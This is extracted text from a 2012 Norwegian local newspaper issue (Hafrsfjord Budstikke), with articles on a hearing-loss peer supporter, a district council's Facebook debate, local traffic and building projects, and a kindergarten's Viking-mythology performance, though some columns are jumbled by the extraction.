Amfiet Da han f\u00f8rst fikk d\u00e5rlig h\u00f8rsel HJELPER ANDRE: Odd Eskildsen er h\u00f8rselshemmet, n\u00e5 vil han gjerne dele erfaringer og kunnskap med andre. Han vil fremover sitte p\u00e5 Madla Amfi for \u00e5 v\u00e6re en god samtalepartner for andre i samme situasjon. meldte han seg inn i Hafrsfjord h\u00f8rselslag, men der var det lite aktivitet. Eskildsen har derfor s\u00f8kt til J\u00e6ren sitt h\u00f8rselslag for \u00e5 finne andre h\u00f8rselshemmede. Det var der han ble rekruttert til \u00e5 bli likemann for H\u00f8rselshemmedes Landsforbund. M\u00e5let med likemannsordningen er at h\u00f8rselshemmede skal f\u00e5 en god samtalepartner, motivasjon til \u00e5 bruke aktuelle hjelpemidler og r\u00e5d og veiledning. Eskildsen gikk p\u00e5 kurser i Oslo for \u00e5 l\u00e6re mer om h\u00f8rselshemming. N\u00e5 er han klar for \u00e5 dele kunnskap og erfaring. Han har booket seg inn p\u00e5 Madla Amfi to ganger i m\u00e5neden. Hver 2. og 4. mandag, hvor han sitter i to timer p\u00e5 formiddagen i VIP-rommet. Vil hjelpe unge Eskildsen h\u00e5per helst p\u00e5 \u00e5 treffe h\u00f8rselshemmede i aldersgruppen 20 til 50 \u00e5r. Mange som blir f\u00f8dt med eller tidlig f\u00e5r d\u00e5rlig h\u00f8rsel synes ofte det er flaut \u00e5 g\u00e5 med h\u00f8reapparat n\u00e5r de begynner p\u00e5 ungdomsskolen. S\u00e5 oppdager de gjerne ikke f\u00f8r de er i 20-\u00e5rene at de m\u00e5 begynne \u00e5 bruke det igjen. Det er egentlig et stort ungdomsproblem, sier Eskildsen. Han peker p\u00e5 at det ogs\u00e5 er mange fortvilte p\u00e5r\u00f8rende til h\u00f8rselshemmede, de er ogs\u00e5 hjertelig velkommen til samtaler med ham. Poenget med \u00e5 v\u00e6re likemann er ikke \u00e5 henge seg p\u00e5 folk, men gi et tilbud til de som \u00f8nsker \u00e5 f\u00e5 hjelp, sier Eskildsen. Rensing og bytting Kommer du til Eskildsen kan du ogs\u00e5 f\u00e5 hjelp til \u00e5 rense h\u00f8reapparatet ditt. Og tilbudet er gratis. Eskildsen kan ogs\u00e5 bytte filter, sette p\u00e5 ny slange og skifte batterier i h\u00f8reapparater. Mange tror at h\u00f8reapparatet deres ikke virker lengre, men ofte er \u00e5rsaken at det er fullt av voks, sier han. Eskildsen peker p\u00e5 at de f\u00e6rreste ogs\u00e5 vet at de kan f\u00e5 ny GIR R\u00c5D: Odd Eskildsen tror mange p\u00e5r\u00f8rende ikke er klar over utfordringene til h\u00f8rselhemmende. Han gir dem gjerne r\u00e5d. (Foto: ) propp til h\u00f8reapparatet sitt oftere enn hvert sjette \u00e5r, som er grensen for \u00e5 f\u00e5 et helt nytt apparat betalt av Nav. Nytt utstyr Eskildsen er en hyppig bruker av nytt og moderne utstyr for h\u00f8rselshemmede og vil gjerne dele sin kunnskap om dette. Han er spesielt glad i den nye TV-linken sin. Denne gj\u00f8r det mulig \u00e5 motta lyden i h\u00f8reapparatet fra TVen via et apparat kalt icom, som henger rundt halsen. Eskildsen kan ogs\u00e5 h\u00f8re p\u00e5 musikk fra mobilen gjennom h\u00f8reapparatet via icom. Dette er helt tr\u00e5dl\u00f8st, i motsetning til det gamle utstyret. For f\u00f8rste gang p\u00e5 20 \u00e5r kunne jeg h\u00f8re musikk i stereo. Det var fantastisk, sier Eskildsen, som er har nesten ingenting h\u00f8rsel p\u00e5 h\u00f8yre \u00f8re, men halvdelen av vanlig h\u00f8rsel p\u00e5 venstre \u00f8re. Han har ogs\u00e5 muligheten til \u00e5 koble h\u00f8reapparatet opp mot telefonen via bluetooth, som henges rundt halsen. Da kan han besvare anrop ved \u00e5 trykke p\u00e5 en BEDRER H\u00d8RSELEN: Slik ser det nymoderne h\u00f8rselsapparatet til Odd Eskildsen ut. Ved hjelp av et apparat rundt halsen kan han koble b\u00e5de musikk fra mobilen og lyd fra TVen til h\u00f8reapparatet. knapp p\u00e5 brystet uten \u00e5 ta telefonen opp fra lomma, og kan ogs\u00e5 stille lyden og bytte programmer med dette utstyret. I tillegg har det ogs\u00e5 kommet en magnet som limes p\u00e5 telefonen. Denne kobler automatisk telefonen til h\u00f8reapparatet, n\u00e5r du l\u00f8fter telefonen opp mot \u00f8ret. Da forsterkes lyden fra telefonen. Enn\u00e5 utfordringer Eskildsen peker samtidig p\u00e5 at det er ting de ikke har kommet langt med i utvikling av h\u00f8rselsutstyr. Og det er \u00e5 skille ut lyd. For eksempel hvis Eskildsen sitter og snakker med en person, mens flere andre snakker rundt ham, vil h\u00f8reapparatet plukke opp den som snakker h\u00f8yest og ikke lyden til den han snakker med. Normalt klarer du jo \u00e5 ignorere lydene rundt deg, mens vi spisser h\u00f8rselen mot den lyden vi \u00f8nsker \u00e5 konsentrere oss om. Det kan ikke tungh\u00f8rte. Det blir forferdlige mye br\u00e5k, for eksempel i familieselskap. Da er det noen som bare skrur av h\u00f8reapparatet helt, p\u00e5peker Eskildsen. Det kan ogs\u00e5 oppst\u00e5 utfordringer for h\u00f8rselshemmede i jobbsammenheng. Eskildsen har for eksempel sluttet \u00e5 undervise p\u00e5 universitet etter at han fikk sv\u00e6rt redusert h\u00f8rsel. De siste \u00e5rene har han derfor drevet med forskning og tidvis fungert som instituttleder. Til slutt h\u00f8rte jeg jo ikke studentene mine, s\u00e5 det fungerte ikke, sier han.\n\n\n\n8 HAFRSFJORD BUDSTIKKE TORSDAG 15. MARS 2012 HAFRSFJORD BUDSTIKKE 8 TORSDAG 21. JUNI 2012 Skal opprette Facebook-side Etter lange diskusjoner, flere utsettelser og litt kviing, bestemte endelig bydelsutvalget seg for \u00e5 opprette en side p\u00e5 Facebook. N\u00e5 kan du endelig f\u00e5 holde deg oppdatert p\u00e5 hva bydelsutvalget driver med og hvilke saker de tar opp via Facebook. Eiganes og V\u00e5land bydelsutvalg var de som var f\u00f8rst ute med \u00e5 ha en egen Facbook-side i Stavanger kommune. Nylig bestemte ogs\u00e5 Hillev\u00e5g bydelsutvalg at dette skulle de satse p\u00e5. Og n\u00e5 hiver ogs\u00e5 Madla bydelsutvalg seg p\u00e5. Vi trenger jo ikke \u00e5 svare alle menneskene som legger noe inn. Det kan v\u00e6re en opplysningsside. Det er uansett greit \u00e5 v\u00e6re p\u00e5 nett, p\u00e5pekte Anne Rettedal Ekeli (h). Politikerne var enige om at de nok m\u00e5tte p\u00e5 Facebook p\u00e5 et tidspunkt uansett. Skeptiske politikere Flere av medlemmene har tidligere v\u00e6rt skeptiske til nettsamfunnet Facebook og benytte denne siden til informasjon om bydelsutvalget. Mye fordi de selv ikke er p\u00e5 Facebook og at det vil ta mye tid om de skal engasjere seg og debattere p\u00e5 siden. Dette \u00e5pner jo opp for store muligheter og en bedre kontakt 2 TORSDAG 15. MARS 2012 STAVANGER FOTOGRAFERES FRA LUFTEN SKATEPARK OG TERRENGSYKLING HISTORISK PLAKAT 3 Hele Stavanger kommune skal fotograferes fra luften mellom 5. mars og 9.mai. Madla bydelsutvalg inviterte elevr\u00e5dsrepresentanter fra bydelens tre ungdomsskoler Velforeningen \u00abSverd i fjell\u00bb \u00f8nsker \u00e5 sette opp en tavle med historiske I denne perioden vil det bli malt og m\u00e5lt inn signalmerker rundt om i kommunen. til forrige m\u00f8te for \u00e5 f\u00e5 vite hva ungdommen savner i bydelen. opplysninger i M\u00f8llebukta. Politikerne i Madla bydelsutvalg synes det er en god Disse merkene m\u00e5 v\u00e6re synlige fra flyet og m\u00e5 derfor ikke dekkes til. Vi \u00f8nsker oss en skatepark ved skolen, en l\u00f8ype til terrengsykling, flere fritidsklubber og en flerbrukshall, sa Nina \u00d8rnes fra Revheim skole. Representanter fra Gosen monumentet Sverd i fjell for \u00e5 h\u00f8re om banken \u00f8nsker \u00e5 bidra til en slik tavle. ide og ble p\u00e5 sist m\u00f8te enige om \u00e5 ta kontakt med SR-bank som har betalt for Hensikten er \u00e5 lage et ortofoto over hele byen. Et ortofoto best\u00e5r av mange fly fotografier som er satt sammen. Fra fotografiene skal ogs\u00e5 bydelene Madla, Eiganes og V\u00e5land kartlegges til kommunens digitale kart, sier geodatasjef Lin Knarvik i Stavanger kommune. og forklarte at dobbel flerbrukshall er p\u00e5 vei, men at det fortsatt mangler midler. utforming og at det blir gjort skikkelig, sier Solveig Nessa og Kvernevik m\u00f8tte ikke p\u00e5 m\u00f8tet. Politikerne i bydelsutvalget takket for innspillene I tillegg b\u00f8r vi ta kontakt med museet for \u00e5 sikre oss at plakaten f\u00e5r en riktig (Ap). NYHETER Flere av politikerne er Facebook-fiender DEBATT: Einar Haarr Dyvik (Sv),Solveig Nessa (Ap), Kaia Elise Bull-Gjertsen (Frp) og Kristen H\u00f8yer Mathiassen (H) diskuterer fordelene og ulempenemed \u00e5 opprette en facebookside for bydelsutvalget. (Foto: Trine Selvikv\u00e5g) Det var ingen saker i Facebook-siden, og at b\u00e5de hun Lytter til ungdommen Om vi skal bruke Facebook som ikke er p\u00e5 Facebook og at og lederen av bydelsutvalget vil Jeg er ingen facebookfanatiker, er det viktig at vi ikke utelukker de slipper \u00e5 engasjere seg om de bydelsutvalget som ha administratortilgang. men kan godt ta litt ansvar. Jeg noen, sier han. ikke \u00f8nsker. Samtidig som at de Jeg tror at det er en god skapte s\u00e5 stor debatt tror absolutt det har noe for seg, Bydelsutvalget til Eiganes og ikke m\u00e5 f\u00f8le at de g\u00e5r glipp av alt, m\u00e5te \u00e5 presentere oss, og vise sier Ole Kallelid (Ap). V\u00e5land har lagt ut bilde og informasjon om hva den enkelte Om det er meningen at dette seier Bang. som da sp\u00f8rsm\u00e5let at vi f\u00f8lger med, s\u00e5 tilbudet st\u00e5r Vi m\u00e5 komme inn. Jeg tror \u00e5pent, sier Maldal. om oppretting av en bare det vil v\u00e6re positivt. Vi m\u00e5 politiker er opptatt av. Lunde skal v\u00e6re en debattside, m\u00e5 vi ikke v\u00e6re redde. Dette er det nye synes det er en god id\u00e9. engasjere oss og kommentere. Facebook-side for Kom hjem til meg kommunikasjonsmiddelet, sier Vi trenger ikke \u00e5 fortelle om Ellers vil det ikke fungere, sier Kristen H\u00f8yer Mathiassen (H) er utvalget kom opp. Gry Nielssen Bang (H). familiemedlemmer og bli helt Anne Rettedal Ekeli (H). f\u00f8rste som vil ha ordet. Jeg synes ogs\u00e5 det kan private. Men vi m\u00e5 huske p\u00e5 at Kan vi ikke bare opprette en Som dere ser er jeg tynn i v\u00e6re positivt. Vi kan formidle vi er offentlige personer, og vi vil ren informasjonsside f\u00f8rst og se Trine Selvikv\u00e5g h\u00e5ret. Jeg er alts\u00e5 ikke p\u00e5 Facebook og jeg kommer aldri p\u00e5 inn mye folk p\u00e5 kort tid. De unge han. thur Hauge (Pp) informasjon om m\u00f8ter og kalle bli funnet p\u00e5 nettet uansett, sier hvordan det utvikler seg, sier Ar- Facebook. Kona mi bruker mye sier at det er slik de f\u00e5r vite hva Vi har jo en informasjonsside p\u00e5 Stavanger kommune sine Bydelsutvalget til Eiganes og tid der og det vil ikke jeg. Om som skjer, sier Solveig Nessa Informasjon V\u00e5land har laget en side p\u00e5 Facebook slik at innbyggerne i by- kan de komme hjem til meg og Jeg vil bare si at Facebook-siden H\u00f8yer Mathiassen. noen vil v\u00e6re venn med meg, (Ap). eller debatt? sider, holder ikke det, sier Kristen delen kan f\u00f8lge med p\u00e5 hva som banke p\u00e5 d\u00f8ren. Jeg vil ikke sitte p\u00e5 Facebook og snakke med Hvem er jeg venner med her? Er s\u00e5 ingen kan komme inn p\u00e5 dere bestemme oss p\u00e5 neste m\u00f8te, Offentlige personer ikke er koblet til personlig profil, Vi f\u00e5r tenke p\u00e5 det og skjer. Skal vi gj\u00f8re det samme? sp\u00f8r lederen i Madla bydelsutvalg, Kate Elin Norland (Sp) de i \u00f8yet. Jeg tror det. Jeg er i hvert fall venn Jeg skal ikke v\u00e6re negativ. Snakkes p\u00e5 Facebook, sier venner, tordner han med et glimt jeg venn med deg? Er vi venner? som personer, sier Maldal. sier Kate Elin Norland. andre medlemmene i utvalget. Leder Kate Elin Norland sier med deg. Kolbein Haakon Lunde Vi m\u00e5 v\u00e6re solidariske, men jeg Kolbein Haakon Lunde. Latteren Mari K. Maldal ved politisk sekretariat forklarer at det er flere som mener at det er i bydelsutvalget for \u00e5 finne ut datamaskin, sier Mathiassen. p\u00e5 debatten. seg enig med Mathiassen, men (V) tar for seg person etter person kan ikke fordra \u00e5 snakke med en som bryter ut, markerer slutten sekretariatet vil betale 2000 en god id\u00e9. hvem han ikke har opprettet Facebook-kontakt med. m\u00e5 v\u00e6re solidariske ovenfor Og jeg synes at vi m\u00e5 ogs\u00e5 kroner til markedsf\u00f8ring av de FAKSIMILE: Budstikka mars 2012 med befolkningen. Man trenger jo ikke \u00e5 ta alt p\u00e5 en gang, p\u00e5pekte Einar Haarr Dyvik (sv), bydelsutvalgets yngste medlem. De bestemte s\u00e5 at sekret\u00e6ren for utvalget Anne-Mai N\u00e6ss Luhr skulle opprette siden, og s\u00e5 skulle de ta det steg for steg. Forel\u00f8pig Vil ha flere fartshumper og undergang Velforeningen p\u00e5 hurtige og midlertidige l\u00f8sninger. Jeg forst\u00e5r at de \u00abSverd i fjell\u00bb har mener at ting tar tid og derfor kom de f\u00f8rst med et lenge jobbet for \u00e5 svada-fortau. Det er altfor f\u00e5 etablert et opph\u00f8yd gangfelt over Mathiassen. smalt og vi kan ikke ha enda en midlertidig l\u00f8sning, sier veien ved M\u00f8llebukta. lages desto lenger bak i k\u00f8en Han menter at desto flere midlertidige l\u00f8sninger som Bydelsutvalget vil til Statens vegvesen kommer trafikksikkerheten ved M\u00f8llebukta. ikke samarbeide. Hvert \u00e5r ringer jeg til Trine Selvikv\u00e5g vegvesenet og sier: \u00abGod dag det er Kristen, hvordan st\u00e5r det til med prioriteringslisten.\u00bb Trafikksikkerheten er d\u00e5rlig ved M\u00f8llebukta. Folk kj\u00f8rer ikke i 40 slik de skal. De kj\u00f8rer Politiet m\u00e5 ut i 60 eller 70 kilometer i timen, Mathiassen mener at det men et opph\u00f8yd gangfelt er riktige \u00e5 gj\u00f8re er \u00e5 utbedre ikke l\u00f8sningen, sier Kristen fartshumpene. H\u00f8yer Mathiassen (H). Humpene er for d\u00e5rlige. Han mener at det bare vil Politiet m\u00e5 komme \u00e5 se p\u00e5 bli en midlertidig l\u00f8sning dem. Det er mange farlige utkj\u00f8rsler langs veien og det er og forklarer at det finnes en plan for vegen med en flott et under at det ikke skjer flere undergang. ulykker, sier han. Med full st\u00f8tte fra de andre politikerne vil Mathiassen Vil vente p\u00e5 undergang be om at fartshumpene forbedres og at det kanskje lages Intensjonen fra vellaget er god, men jeg tror ikke noen flere. Ett skritt n\u00e6rmere sv\u00f8mmehall Politikerne har gitt de utearealer som omringer at politikerene st\u00e5r ved langtidsbudsjettet som ble vedtatt sv\u00f8mmehallen, ble vedtatt av sitt endelige ja til \u00e5 kommunalstyret for byutvikling i desember i fjor. Neste korsvei for to uker siden. her er budsjettbehandlingen bygge sv\u00f8mmehall i Da skrider prosjektet for handlings- og \u00f8konomiplan Kvernevik. fremover som planlagt og det er til h\u00f8sten. Da vil den bra, sier Christian M\u00f8llerop fra f\u00f8rste store budsjettposten for Trine Selvikv\u00e5g Nok er nok-aksjonen i Kvernevik. Han understreker at det som Dette blir viktig \u00e5 f\u00f8lge med p\u00e5 sv\u00f8mmehallen ligge for ligger inne av midler i 2012 er et for det er her forpliktelser og Planen som legger til rette relativt beskjedent bel\u00f8p som realisering for alvor blir lagt inn, for bygging av sv\u00f8mmehall i nok kun skal dekke planarbeid og det er dette som vil gi startskudd for en bygging av hallen, Kvernevik lokalsenter, samt og prosjektering. opparbeiding av tilliggen- Det blir derfor viktig \u00e5 se sier M\u00f8llerop. Rundkj\u00f8ring p\u00e5 Grannes TRAFIKK: N\u00e5 har gravingen for \u00e5 lage en ny rundkj\u00f8ring startet. (Foto: Monica Christophersen) SKISSE: Dette er en skisse fra detaljreguleringen for sv\u00f8mm e haller i Kvernevik og Hundv\u00e5g. Begge hallene skal etter planen bli like. Arbeidet med den utbyggingen av Grannesparken som totalt har 170 boliger. Det nye rundkj\u00f8ringen i forventes at den skal v\u00e6re ferdig i juni i \u00e5r, sier Kolnes. enden av Grannessletta er i gang. Stor rundkj\u00f8ring Entrepren\u00f8ren er i gang. Monica Christophersen N\u00e5 graver vi for \u00e5 legge vannledninger og overvannsr\u00f8r, Byggingen av rundkj\u00f8ringen er et av rekkef\u00f8lgekravene Gravingen foreg\u00e5r forel\u00f8pig sier Kolnes. i forbindelse med utbyggingen utenfor den veien som g\u00e5r der i av Grannesparken, sier Fredrik dag. Kolnes, anleggsleder i Vassbakk Vi har begynt \u00e5 grave der & Stol, utf\u00f8rende entrepren\u00f8r av fordi senteret for rundkj\u00f8ringen skal v\u00e6re utenfor veien. rundkj\u00f8ringen. Grunnen til at vi graver s\u00e5pass Skal h\u00e5ndtere trafikken langt utenfor veien og ned mot Rundkj\u00f8ringen bygges for \u00e5 f\u00e5 sj\u00f8en er fordi rundkj\u00f8ringen skal bedre flyt i trafikken krysset der ha en diameter p\u00e5 24 meter, alts\u00e5 Grannessletta m\u00f8ter Madlaveien. kommer det en gang- og syk- en radius p\u00e5 syv meter. I tillegg Rundkj\u00f8ringen er en oppgradering av veinettet og skal lom den og veien, sier anleggskelsti ytterst med en gr\u00f8ft mel- v\u00e6re med og h\u00e5ndtere trafikk\u00f8kningen i forbindelse lederen. med skal det bare v\u00e6re en informasjonsside. Dette ble bestemt p\u00e5 mai-m\u00f8tet til bydelsutvalget, da Hafrsfjord budstikke gikk i trykken var enn\u00e5 ikke siden opprettet. F\u00e5r ballfanggjerder Naboene til ball\u00f8kkene nedenfor Sunde skole har etterlyst en ny vegg som hindre ballene i \u00e5 fyke inn i hagene deres. N\u00e5 lover kommunen at den er p\u00e5 vei. Erna Eriksen er en av disse naboene. Hun gikk til bydelsutvalget for \u00e5 f\u00e5 hjelp. I flere \u00e5r etterlyste hun en oppgradering av omr\u00e5det, da fotballbanen som f\u00f8r l\u00e5 der holdt p\u00e5 \u00e5 forfalle. For en del \u00e5r tilbake opparbeidet Stavanger kommune en fotball\u00f8kke ved Sunde skole. Banen ble flittig brukt av skoleelevene i lange friminutt og ogs\u00e5 om kveldene. Et par ganger har parketaten oppgradert l\u00f8kka, men ikke i de senere \u00e5r. Som n\u00e6rmeste nabo, har jeg satt pris p\u00e5 aktiviteten, og det har v\u00e6rt trist \u00e5 se forfallet og at barna ikke vil v\u00e6re der, sa Eriksen til bydelsutvalget. Purret flere ganger Hun har flere ganger tatt opp saken i bydelsutvalget, med et \u00f8nske om en oppradering. Men det var ikke f\u00f8r i 2011 ble det endelig satt av penger til ball\u00f8kker i budsjettet. Likevel skjedde ingenting det \u00e5ret. Eriksen purret videre, og til slutt kom det b\u00e5de en ny fotballbane og sandvolleyballbane nedenfor Sunde skole. Dessverre ble en viktig ting utelatt; nemlig et h\u00f8yt gjerde som hindrer ballene \u00e5 trille ned i v\u00e5r hage, sa Eriksen til bydelsutvalget. Skal oppgraderes Hun gikk ut i fra at mangelen p\u00e5 VILLE BALLER: N\u00e5r barna spiller volley her fyker ofte ballen ned i hagen til naboene. Men heldigvis er et nytt ballfanggjerde p\u00e5 vei. (Foto: ) gjerdet var en forglemmelse og h\u00e5pet utvalget kunne ta saken videre. Det gjorde de. Etter kontakt med park og vei-avdelingen i kommunen har bydelsutvalget f\u00e5tt til svar at Park og vei har planer om \u00e5 montere ballfanggjerder mot naboene. De sendte f\u00f8rst inn en bygges\u00f8knad f\u00f8r jul, men gjorde endringer i s\u00f8knaden, slik at den nye datoen ble i slutten av april. N\u00e5 venter avdelingen p\u00e5 svar.\n\n\n\n9 torsdag 21. juni Vi endrer navn til: Madla hud-og Fotklinikk AS og utvider klinikken med 120m 2 Kroppspleie og utvalg i Babor ogs\u00e5 for menn. \u00c5pning av ny klinikk tirsdag 26. juni, og vi holder \u00e5pent fra Babor sin representant i Norge vil v\u00e6re til stede for \u00e5 kunne deg deg r\u00e5d og veiledning i hudpleieprodukter samt gi deg gratis hudanalyse. Vi kan f\u00f8tter Gehwol sin representant i Norge vil v\u00e6re tilstede med sin kunnskap og erfaring. -40% p\u00e5 alle produkter Vi er i det gavmilde hj\u00f8rnet \u00e5pningsdagen og deler ut reisesett i Babor verdi kr. 395 til de 50 f\u00f8rste kundene som kommer innom og bestiller time til ansikts eller fotbehandling. Timebestilling Madlakrossen 10, Stavanger\n\n\n\n10 10 torsdag 21. juni 2012 Fortryllet av vikingtiden Disse barna vil aldri glemme historiene bak den norr\u00f8ne mytologien. Gjennom sang, dans og lek har de l\u00e6rt seg alt om vikingtiden denne v\u00e5ren. Gjennom hele v\u00e5ren har barna i Hannes Lekestue l\u00e6rt om den norr\u00f8ne mytologien. Om Tor med hammeren, guden Odin, Balders d\u00f8d og slaget i Hafrsfjord. Men de har ikke sittet ned p\u00e5 skolebenken og l\u00e6rt det. I Hannes Lekestue l\u00e6rer barna gjennom sang, dans og lek. Ukentlig m\u00f8tes barna i sm\u00e5 musikkgrupper der historiene skrider frem og musikken knyttes opp mot det vi dramatiserer. F\u00f8rskolebarn er spontane og lever i nuet. Dette gj\u00f8r at vi m\u00e5 gripe tak i l\u00e6rings\u00f8yeblikket n\u00e5r barnet selv viser interesse. Vi griper fatt i temaet der det f\u00f8les naturlig. For eksempel i en pause p\u00e5 fotball\u00f8kka ble barna liggende i gresset. Plutselig blir alle barna opptatt av himmelen. Vi undrer oss der og da over det vi ser: sol og skyer, og snakker om lyn og torden. Dermed ender vi opp med \u00e5 fortelle historien om Tor med hammeren, sier styrer i Hannes Lekestue Hege Nor\u00e5s Medhus. L\u00e6ring p\u00e5 barnas niv\u00e5 Styreren peker p\u00e5 at det er viktig \u00e5 legge l\u00e6ring p\u00e5 et niv\u00e5 som gj\u00f8r at barna har lyst til \u00e5 l\u00e6re. I h\u00f8st fant de ansatte for eksempel to kr\u00e5ker i hagen til barnehagen. Disse ble tatt h\u00e5nd om og ble d\u00f8pt til Hugin og Munin, dermed fikk barna l\u00e6re den historien. F\u00f8rskolebarn er vitebegj\u00e6rlige. Det finnes ikke grenser for hva de kan l\u00e6re, hvis vi bare legger innholdet fram p\u00e5 en spennende og engasjerende m\u00e5te. N\u00f8kkelen ligger i den voksnes m\u00e5te \u00e5 formidle p\u00e5. Undring og nysgjerrighet har v\u00e6rt to viktige stikkord fram mot denne forestillingen, sier Nor\u00e5s Medhus og p\u00e5peker at kunnskap gir \u00f8kt selvtillit. Storsl\u00e5tt forestilling Hele prosjektet bunner ut i en forestilling for foreldrene. I begynnelsen av juni fikk foreldrene da se hva barna hadde l\u00e6rt denne v\u00e5ren. Barna fremf\u00f8rte historien om Kong Harald som samlet Norge til ett rike og om Balders d\u00f8d. Til sammen var det rundt 60 barn p\u00e5 scenen, i en alder fra 3 til 6 \u00e5r. I forkant av forestillingene har ogs\u00e5 barna f\u00e5tt lage sverd, skip, mistelteinbusker og kostymer. Mange av guttene brukte timevis i snekkerbua for \u00e5 spikke sverd. De fikk et helt spesielt forhold til sverdene og resultatet Sanglede: \u00c5 l\u00e6re ved hjelp av sang er et viktig grep i Hannes lekestue. L\u00e6ring m\u00e5 skje p\u00e5 barnas premisser. Her synger Lars Starheim (fremst) for full hals under ble at barna kunne mer enn oss voksen om vikingsverd. Denne prosessen kommer de aldri til \u00e5 glemme, sier Nor\u00e5s Medhus. Barna har dramatisert historiene gjennom flere m\u00e5neder, og p\u00e5 den m\u00e5ten f\u00e5r de ogs\u00e5 et eierforhold til historien. Dette gj\u00f8r dem igjen tryggere p\u00e5 scenen, sier hun videre. Uforutsigbar jobb \u00c5 jobbe med sm\u00e5 barn er uforutsigbart. Vi pr\u00f8ver \u00e5 leve i nuet og ta tak i det som kommer, sier grunnleggeren av Hannes Lekestue Hanne Storstein Aak. Hun mener barna l\u00e6rer bedre da, for da er l\u00e6ringen p\u00e5 f\u00f8rskolebarnas niv\u00e5. Derfor har ikke forestillingen hatt et fast manus. Hvordan historien blir presentert endres etter hvert som vi leker oss gjennom den, sier Nor\u00e5s Medhus. Styreren legger til at de samtidig er klare p\u00e5 hva de krever av barna. Det handler om positiv grensesetting, sier Nor\u00e5s Medhus. De ansatte har ogs\u00e5 v\u00e6rt n\u00f8ye med sangvalgene til forstillingene, her var det alt fra Kaizerssanger til klassisk musikk. Vi ville ha musikk som de er kjente med og som de kommer til \u00e5 h\u00f8re igjen, sier Storstein Aak. Barna har ogs\u00e5 f\u00e5tt innblikk i historien til komponistene bak musikken. \u00c5rlig prosjekt Hvert \u00e5r har lekestuen et liknende prosjekt. Det er et tema som bunner ut i en forestilling. Valget av vikingtiden og norr\u00f8n mytologi falt ganske naturlig, i og med at flere av barna bor i Hafrsfjord. Da kunne vi relatere det vi snakket om til adressene til barna. Vi har v\u00e6rt p\u00e5 tur i de ulike gatene og fortalt historiene bak navnene, forteller Nor\u00e5s Medhus. Og barna trenger jo ikke bare l\u00e6re de kjente eventyrene som de uansett f\u00e5r h\u00f8re hjemme. Vi vil gi dem noe ekstra. Den norr\u00f8ne mytologien har heller ikke det beste ryktet og er ofte knyttet opp til kirkebranner og drap, forteller Storstein Aak. Fokus p\u00e5 personalet I slike prosjekter f\u00e5r de inn b\u00e5de musikk, drama og historikk. M\u00e5let med et slikt prosjekt er ikke bare at barna skal l\u00e6re og ha det g\u00f8y, men at ogs\u00e5 personalet skal f\u00e5 utvikle seg. En av v\u00e5re ansatte har et brennende engasjement og interesse for norr\u00f8n mytologi. Det var ogs\u00e5 \u00e5rsaken til at vi valgte det temaet. I h\u00f8st ga han personalet undervisning og inspirasjon slik at vi alle kan bidra til \u00e5 gi det videre til barna. Vi pr\u00f8ver \u00e5 spille p\u00e5 de ressursene de ansatte har, forteller styreren. I Hannes Lekestue er de ogs\u00e5 veldig opptatt av \u00e5 v\u00e6re gode forbilder. V\u00e5ger de voksne \u00e5 st\u00e5 p\u00e5 scenen, v\u00e5ger ogs\u00e5 barna. Alle ansatte er derfor ogs\u00e5 med i forestillingen, og mange av replikkene er bygd opp p\u00e5 gjentakelse. V\u00e5rt motto er at den st\u00f8rste glede er \u00e5 gj\u00f8re andre glad. Det var ogs\u00e5 det vi ropte i ring f\u00f8r vi gikk ut p\u00e5 scenen, sier Nor\u00e5s Medhus.\n\n\n\n11 torsdag 21. juni F\u00f8rSte Sverd: Sture M\u00f8nnich og Knut Sagen aka Kong Harald H\u00e5rfagre putter det f\u00f8rste av de tre sverd i fjell i Hafrsfjord. N\u00e5 er Norge samlet til et rike. forestilling i juni. (ALLE FOTO: ) Farvel til Balder: Horrikken aka Charlotte Stavenes Ingebretsen og Thorvald N\u00e6ss skyver skipet med den d\u00f8de Balder ut p\u00e5 havet. Til slutt ble han skadet av mistelteinbusken. redsel: Etter flere slag er markene fylt av falne krigere, de overlevende er redde for hva som n\u00e5 skal skje. I midten st\u00e5r Vivja som spilles av Sonja Lunde og Ingunn Bjustveit.\n\n Farvel til Balder: Horrikken aka Charlotte Stavenes Ingebretsen og Thorvald N\u00e6ss skyver skipet med den d\u00f8de Balder ut p\u00e5 havet.\")\n\n12 12 TORSDAG 21. JUNI 2012 Motiverer til vekttap Rita Serigstad gikk ned 14 kilo ved hjelp av Grete Roede. N\u00e5 har hun viet b\u00e5de utdanningen og fritiden sin til \u00e5 hjelpe andre p\u00e5 rett vei. 21-\u00e5ringen fra Bryne hadde pr\u00f8vd alle slags slankekurer f\u00f8r hun endte opp med noe som endelig funket. Jeg pr\u00f8vde shaker, lavkarbo og alt slags, og brukte mye tid p\u00e5 \u00e5 finne det som skulle fungere for meg, sier Rita Serigstad. S\u00e5 kom hun over Roede-metoden, f\u00f8rst pr\u00f8vde hun nettkursene og deretter gikk hun p\u00e5 Roede-kursene for \u00e5 l\u00e6re enda mer. Deretter kvittet Serigstad seg med 14 kilo og hun ble inspirert til \u00e5 fortelle andre om denne metoden. Jeg har alltid hatt et \u00f8nske om \u00e5 bli ern\u00e6ringsfysiolog, derfor hadde jeg en liten tanke om \u00e5 bli kursleder da jeg begynte p\u00e5 dette kurset. Det er noe med det \u00e5 fortelle andre det jeg vet og samholdet som blir i en slik gruppe. Jeg ble inspirert til \u00e5 bli en del av det, sier hun. Deretter ble Serigstad f\u00f8rst kursleder p\u00e5 Madla, hvor hun holder kurser for unge mellom 18 og 25 \u00e5r, i tillegg til ekspresskurser f\u00f8r sommeren p\u00e5 Madla Amfi. I tillegg har hun startet opp kurser p\u00e5 \u00c5lg\u00e5rd. Studerer mat Hvordan ble du s\u00e5 engasjert i ern\u00e6ring? Helse er viktig, b\u00e5de psykisk og fysisk, for \u00e5 ha det bra. Matglede er viktig i dobbelforstand. Det vil si at maten skal v\u00e6re god og gj\u00f8re deg godt. N\u00e5r du spiser mat som gj\u00f8r at du f\u00f8ler deg vel, klarer du \u00e5 mestre hverdagsoppgaver bedre og f\u00e5r bedre selvf\u00f8lelse, sier hun. Serigstad har alltid v\u00e6rt opptatt av trening, og ettersom hun selv ble veldig opptatt av mat i forhold til vekten, tenkte hun mye p\u00e5 hvor mye maten p\u00e5virker oss. Dette ville hun finne mer ut av. Og n\u00e5 studerer hun nettopp ern\u00e6ringsfysiologi gjennom Bj\u00f8rknes h\u00f8yskole sine nettstudier. Dr\u00f8mmen er \u00e5 starte opp en egen bedrift hvor Grete Roede-kursene blir hennes vektreduksjonsprogram. Og s\u00e5 vil jeg gjerne jobbe med barn og mat. Det er hjertesaken min. Jeg vil gjerne holde kurs for foreldre om hvordan barn kan spise mer sunt, sier Serigstad. Kan spise alt Hun synes det er kjekt \u00e5 v\u00e6re kursleder n\u00e5r hun selv 